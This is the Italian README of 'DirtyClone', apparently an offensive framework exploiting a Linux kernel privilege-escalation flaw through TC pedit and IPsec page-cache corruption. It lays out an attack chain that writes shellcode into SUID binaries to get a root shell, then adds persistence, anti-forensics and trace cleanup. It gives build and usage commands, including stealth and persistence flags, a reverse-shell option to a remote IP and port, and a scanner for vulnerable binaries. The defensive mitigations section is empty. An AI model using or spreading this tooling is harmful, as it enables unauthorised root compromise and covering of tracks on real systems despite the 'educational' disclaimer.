DirtyClone Exploit Framework
CVE-2026-46331 — Escalation Locale dei Privilegi nel Kernel Linux
TC pedit + IPsec TEE Corruzione della Cache di Pagina · Kernel interessati: ≤ 6.12.9
╔═══════════════════════════════════════════════════════════════╗
║ ____ _ _ ____ _ ║
║ | _ \(_)_ __| |_ _ _/ ___| | ___ _ __ ___ ║
║ | | | | | '__| __| | | | | | |/ _ \| '_ \ / _ \ ║
║ | |_| | | | | |_| |_| | |___| | (_) | | | | __/ ║
║ |____/|_|_| \__|_, |\____|_|\___/|_| |_|\___| ║
║ |___/ ║
╠═══════════════════════════════════════════════════════════════╣
║ CVE-2026-46331 · v1.0.0 · SOLO PER RICERCA ED EDUCAZIONE ║
╚═══════════════════════════════════════════════════════════════╝

⚠️ SOLO PER SCOPI EDUCATIVI E DI RICERCA
Utilizzare questo framework esclusivamente in ambienti di laboratorio isolati di tua proprietà o per i quali hai esplicita autorizzazione scritta per i test.
L'uso non autorizzato è illegale e non etico.
📋 Indice dei Contenuti
🔬 Panoramica della Vulnerabilità
CVE-2026-46331 è una vulnerabilità di escalation locale dei privilegi nel kernel Linux (≤ 6.12.9) causata da una condizione di gara tra l'azione pedit di TC (cls_act) e la duplicazione di pacchetti basata su IPsec TEE.
Causa Principale
Quando un pacchetto attraversa il percorso di uscita TC con un'azione pedit che imposta IHL = 15, il sottosistema IPsec del kernel riceve un pacchetto malformato in cui l'offset del payload IP calcolato supera i confini effettivi del pacchetto. In operazioni sendfile(2) concorrenti, questa discrepanza permette a un utente non privilegiato (all'interno di un namespace utente con CAP_NET_ADMIN) di corrompere voci read-only della cache di pagina di file arbitrari — inclusi i binari SUID.
Impatto
🔗 Catena di Attacco
Utente non privilegiato (UID=1000)
│
▼
[1] Ricognizione
├─ Controllo versione kernel
├─ disponibilità userns
└─ Profilazione binario target
│
▼
[2] Bypass dei Namespace
├─ unshare(CLONE_NEWUSER|CLONE_NEWNET)
├─ Passaggio di profilo AppArmor (fallback)
└─ CAP_NET_ADMIN acquisito
│
▼
[3] Infrastruttura di Rete
├─ clsact qdisc on lo
├─ pedit filter (IHL=15)
└─ IPsec ESP + TEE
│
▼
[4] Corruzione della Cache di Pagina
├─ sendfile → pedit trigger
├─ Voce cache di pagina corrotta
└─ Shellcode scritto su binario read-only
│
▼
[5] Escalation dei Privilegi
└─ execve(SUID binary) → root shell
│
▼
[6-8] Post-Sfruttamento
├─ Persistenza (6 meccanismi)
├─ Elusione / Anti-Forense
└─ Pulizia delle tracce
│
▼
🎯 ROOT SHELL (UID=0 EUID=0)
📁 Struttura del Progetto
dirtyclone-exploit/
├── Makefile # Sistema di compilazione
├── README.md # Questo file
├── LICENSE # Licenza MIT
│
├── include/
│ ├── exploit.h # Tipi core, flag, prototipi
│ ├── packet_engine.h # API del motore di creazione pacchetti
│ ├── memory_ops.h # API di corruzione della cache di pagina
│ └── persistence.h # API del meccanismo di persistenza
│
├── src/
│ ├── main.c # Punto di ingresso del framework
│ ├── stage_env_analysis.c # Fase 1: Ricognizione
│ ├── stage_namespace_bypass.c # Fase 2: bypass userns
│ ├── stage_network_setup.c # Fase 3: configurazione TC/IPsec
│ ├── stage_page_cache_corrupt.c # Fase 4: Exploit principale
│ ├── stage_privilege_escalation.c # Fase 5: LPE
│ ├── stage_persistence.c # Fase 6: Persistenza
│ ├── stage_evasion.c # Fase 7: Anti-forense
│ ├── stage_cleanup.c # Fase 8: Rimozione tracce
│ ├── memory_ops.c # Primitiva cache di pagina
│ ├── packet_engine.c # Creazione pacchetti raw
│ └── persistence.c # Implementazioni di persistenza
│
├── modules/
│ ├── packet_craft.py # Creazione pacchetti Python (Scapy)
│ └── exploit_analyzer.py # Strumento di analisi pre-exploit
│
├── scripts/
│ ├── setup_env.sh # Installazione dipendenze + compilazione
│ ├── cleanup.sh # Pulizia del sistema
│ └── detect_targets.sh # Scanner di binari vulnerabili
│
└── payloads/
└── README.md # Informazioni directory payload
⚙️ Requisiti
Compilazione
gcc ≥ 10
make
libcap-dev / libcap-devel
Runtime (target Linux)
- Kernel ≤ 6.12.9
iproute2 (tc, ip)
iptables
- Namespace utente non privilegiati abilitati
Moduli Python (opzionale)
🔧 Compilazione e Installazione
# Clone
git clone https://github.com/vulnquest58/dirtyclone-exploit
cd dirtyclone-exploit
# Auto setup (installa dipendenze + compila)
sudo bash scripts/setup_env.sh
# Compilazione manuale
make all
# Compilazione debug
make debug
# Pulizia
make clean
🚀 Uso
# Mostra aiuto
./bin/dirtyclone --help
# Esecuzione a secco (solo analisi, nessuno sfruttamento)
./bin/dirtyclone --test
# Sfruttamento base (target predefinito: /usr/bin/su)
sudo ./bin/dirtyclone
# Target personalizzato con furtività + persistenza
sudo ./bin/dirtyclone --target /usr/bin/sudo --stealth --persist
# Reverse shell
sudo ./bin/dirtyclone --remote 192.168.1.100 4444 --cleanup
# Rileva prima i target vulnerabili
bash scripts/detect_targets.sh
🐍 Moduli Python
exploit_analyzer.py — Ricognizione Pre-Exploit
# Analizza target predefinito
python3 modules/exploit_analyzer.py
# Target personalizzato
python3 modules/exploit_analyzer.py --target /usr/bin/sudo
# Output JSON per automazione
python3 modules/exploit_analyzer.py --json
# Scansiona tutti i binari SUID
python3 modules/exploit_analyzer.py --all-suid
packet_craft.py — Trigger Pacchetto Raw
# Invia pacchetti exploit all'offset 0x1234
sudo python3 modules/packet_craft.py --offset 0x1234
# Interfaccia e numero di pacchetti personalizzati
sudo python3 modules/packet_craft.py --iface eth0 --count 20
🛡️ Mitigazioni Difensive
📅 Cronologia
📚 Riferimenti
👤 Autore
VulnQuest · Security Research
Questo repository è fornito solo per scopi educativi.
Tutto il codice di sfruttamento è destinato all'uso in ambienti di laboratorio autorizzati.